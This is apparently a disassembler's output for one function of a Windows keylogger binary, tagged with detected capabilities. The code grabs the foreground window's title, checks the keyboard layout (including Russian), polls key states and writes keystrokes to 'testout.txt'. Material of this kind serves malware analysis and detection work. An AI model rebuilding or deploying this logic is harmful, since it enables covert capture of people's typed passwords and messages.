Function at 0x401000
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov eax, 0x1c04
call fcn.00401cf0
mov eax, dword [0x41c004]
xor eax, esp
mov dword [esp + 0x1c00], eax
push ebx
push ebp
push esi
push edi
push 0x800
lea eax, [esp + 0x414]
push 0
push eax
call fcn.00402830
push 0x800
lea eax, [esp + 0xc20]
push 0
push eax
call fcn.00402830
push 0x800
lea eax, [esp + 0x142c]
push 0
push eax
call fcn.00402830
push 0x400
lea eax, [esp + 0x38]
push 0
push eax
call fcn.00402830
push 0x4151b0
push str.testout.txt
xor ebp, ebp
call fcn.004032c3
add esp, 0x38
mov esi, eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
lea ecx, [esp + 0x414]
mov dword [0x41d0c0], eax
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0x400
lea eax, [esp + 0xc14]
push eax
push dword [0x41d0c0]
call dword [sym.imp.USER32.dll_RealGetWindowClassW]
mov ecx, str.IEFrame
lea eax, [esp + 0xc10]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4010e9
test dx, dx
je 0x4010e5
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4010e9
add eax, 4
add ecx, 4
test dx, dx
jne 0x4010c3
xor eax, eax
jmp 0x4010ee
sbb eax, eax
or eax, 1
push 0
test eax, eax
jne 0x40110c
push 0x401b20
push dword [0x41d0c0]
call dword [sym.imp.USER32.dll_EnumChildWindows]
mov eax, dword [0x41d2c8]
jmp 0x40111d
push dword [0x41d0c0]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [0x41d2c8], eax
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
cmp eax, 0x4190419
mov dword [0x41d0c4], eax
mov ecx, 1
lea eax, [esp + 0x410]
cmove ebp, ecx
mov ecx, 0x41c8c0
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401168
test dx, dx
je 0x401164
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401168
add eax, 4
add ecx, 4
test dx, dx
jne 0x401142
xor eax, eax
jmp 0x40116d
sbb eax, eax
or eax, 1
test eax, eax
je 0x401207
xor ecx, ecx
nop word [eax + eax]
movzx eax, word [esp + ecx + 0x410]
lea ecx, [ecx + 2]
mov word [ecx + 0x41c8be], ax
test ax, ax
jne 0x401180
push 0x41d0c8
call fcn.004058d2
push 0x41d1c8
call fcn.004057eb
lea eax, [esp + 0x418]
push eax
push 0x41d1c8
push 0x41d0c8
lea eax, [esp + 0x1424]
push str._n_s__s__s_n
push eax
call fcn.00401c80
add esp, 0x1c
lea eax, [esp + 0x10]
push 0
push 0
push 0x400
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x1424]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [esp + 0x10]
push eax
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
call edi
xor ebx, ebx
test ax, ax
sets bl
cmp dword [esp + 0x1c18], 8
jne 0x401236
push str._Backspace_
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0xd
jne 0x401253
push 0x415228
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0x20
jne 0x401270
push 0x41522c
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 9
jne 0x40128d
push str._TAB_
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0x10
jne 0x4012aa
push str._SHIFT_
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0x11
jne 0x4012c7
push str._CTRL_
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0x13
jne 0x4012e4
push str._PAUSE_
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0x1b
jne 0x401301
push str._ESC_
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0x23
jne 0x40131e
push str._END_
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0x24
jne 0x40133b
push str._HOME_
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0x25
jne 0x401358
push str._LEFT_
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0x26
jne 0x401375
push str._UP_
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0x27
jne 0x401392
push str._RIGHT_
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0x28
jne 0x4013af
push str._DOWN_
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0x2c
jne 0x4013cc
push str._PRINT_
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0x90
jne 0x4013ec
push str._NUM_LOCK_
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0x2e
jne 0x401409
push str._DEL_
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
cmp dword [esp + 0x1c18], 0x6e
jne 0x401426
push str..___:_______________
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
mov eax, dword [esp + 0x1c18]
add eax, 0xffffffa0
cmp eax, 9
ja 0x401453
sub dword [esp + 0x1c18], 0x30
lea eax, [esp + 0x1c18]
push eax
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
mov eax, dword [esp + 0x1c18]
cmp eax, 1
je 0x40177e
add eax, 0xffffffbf
cmp eax, 0x19
ja 0x40177e
test ebp, ebp
jne 0x40149b
push 0x14
call edi
cwde
cmp eax, ebx
lea eax, [esp + 0x1c18]
push eax
push 0x415218
push esi
jne 0x401776
add dword [esp + 0x1c24], 0x20
jmp 0x401776
jmp dword [eax*4 + 0x401a38]
call fcn.00401cb0
add esp, 0xc
mov eax, dword [esp + 0x1c18]
add eax, 0xffffff46
cmp eax, 0x24
ja case.0x40179a.193
movzx eax, byte [eax + 0x401ad0]
jmp dword [eax*4 + 0x401aa0]
test ebp, ebp
je 0x4017c2
push 0x14
call edi
cwde
cmp eax, ebx
je 0x4017b8
push 0x415370
jmp 0x40198b
push 0x415374
jmp 0x40198b
test ebx, ebx
je 0x4017d0
push 0x415378
jmp 0x40198b
push 0x41537c
jmp 0x40198b
test ebp, ebp
je 0x4017fb
push 0x14
call edi
cwde
cmp eax, ebx
je 0x4017f1
push 0x415380
jmp 0x40198b
push 0x415384
jmp 0x40198b
test ebx, ebx
je 0x401809
push 0x415388
jmp 0x40198b
push 0x41538c
jmp 0x40198b
test ebp, ebp
je 0x401834
push 0x14
call edi
cwde
cmp eax, ebx
je 0x40182a
push 0x415390
jmp 0x40198b
push 0x415394
jmp 0x40198b
test ebx, ebx
je 0x40182a
push 0x415398
jmp 0x40198b
test ebp, ebp
je 0x401863
push 0x14
call edi
cwde
cmp eax, ebx
je 0x401859
push 0x41539c
jmp 0x40198b
push 0x4153a0
jmp 0x40198b
test ebx, ebx
je 0x401871
push 0x4153a4
jmp 0x40198b
push 0x4153a8
jmp 0x40198b
test ebx, ebx
je 0x401889
push 0x4153ac
jmp 0x40198b
push 0x4153b0
jmp 0x40198b
test ebp, ebp
je 0x4018b4
push 0x14
call edi
cwde
cmp eax, ebx
je 0x4018aa
push 0x4153b4
jmp 0x40198b
push 0x4153b8
jmp 0x40198b
test ebx, ebx
je 0x40191d
push 0x4153bc
jmp 0x40198b
test ebx, ebx
je 0x4018d0
push 0x4153c4
jmp 0x40198b
push 0x4153c8
jmp 0x40198b
test ebp, ebp
je 0x4018fb
push 0x14
call edi
cwde
cmp eax, ebx
je 0x4018f1
push 0x4153cc
jmp 0x40198b
push 0x4153d0
jmp 0x40198b
test ebx, ebx
je 0x401909
push 0x4153d4
jmp 0x40198b
push str..___:_______________
jmp 0x40198b
test ebp, ebp
je 0x401924
push 0x14
call edi
cwde
cmp eax, ebx
je 0x401909
push 0x4153c0
jmp 0x40198b
test ebx, ebx
je 0x401820
push 0x4153d8
jmp 0x40198b
test ebp, ebp
je 0x40194e
push 0x14
call edi
cwde
cmp eax, ebx
je 0x401947
push 0x4153dc
jmp 0x40198b
push 0x4153e0
jmp 0x40198b
test ebx, ebx
je 0x401959
push 0x4153e4
jmp 0x40198b
push 0x4153e8
jmp 0x40198b
test ebp, ebp
je 0x40197b
push 0x14
call edi
cwde
cmp eax, ebx
je 0x401974
push 0x4153ec
jmp 0x40198b
push 0x4153f0
jmp 0x40198b
test ebx, ebx
je 0x401986
push 0x4153f4
jmp 0x40198b
push 0x4153f8
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
mov eax, dword [esp + 0x1c18]
add eax, 0xffffffd0
cmp eax, 0xb
ja case.default.0x4019b1
test ebx, ebx
je 0x4019fe
cmp eax, 9
ja case.default.0x4019b1
jmp dword [eax*4 + 0x401af8]
push 0x4153fc
jmp 0x401a06
push 0x415400
jmp 0x401a06
push 0x415404
jmp 0x401a06
push 0x415408
jmp 0x401a06
push 0x41540c
jmp 0x401a06
push 0x415410
jmp 0x401a06
push 0x415414
jmp 0x401a06
push 0x415418
jmp 0x401a06
push 0x41541c
jmp 0x401a06
push 0x415420
jmp 0x401a06
lea eax, [esp + 0x1c18]
push eax
push 0x415218
push esi
call fcn.00401cb0
add esp, 0xc
push esi
call fcn.00405964
mov ecx, dword [esp + 0x1c14]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401cd2
add esp, 0x1c04
ret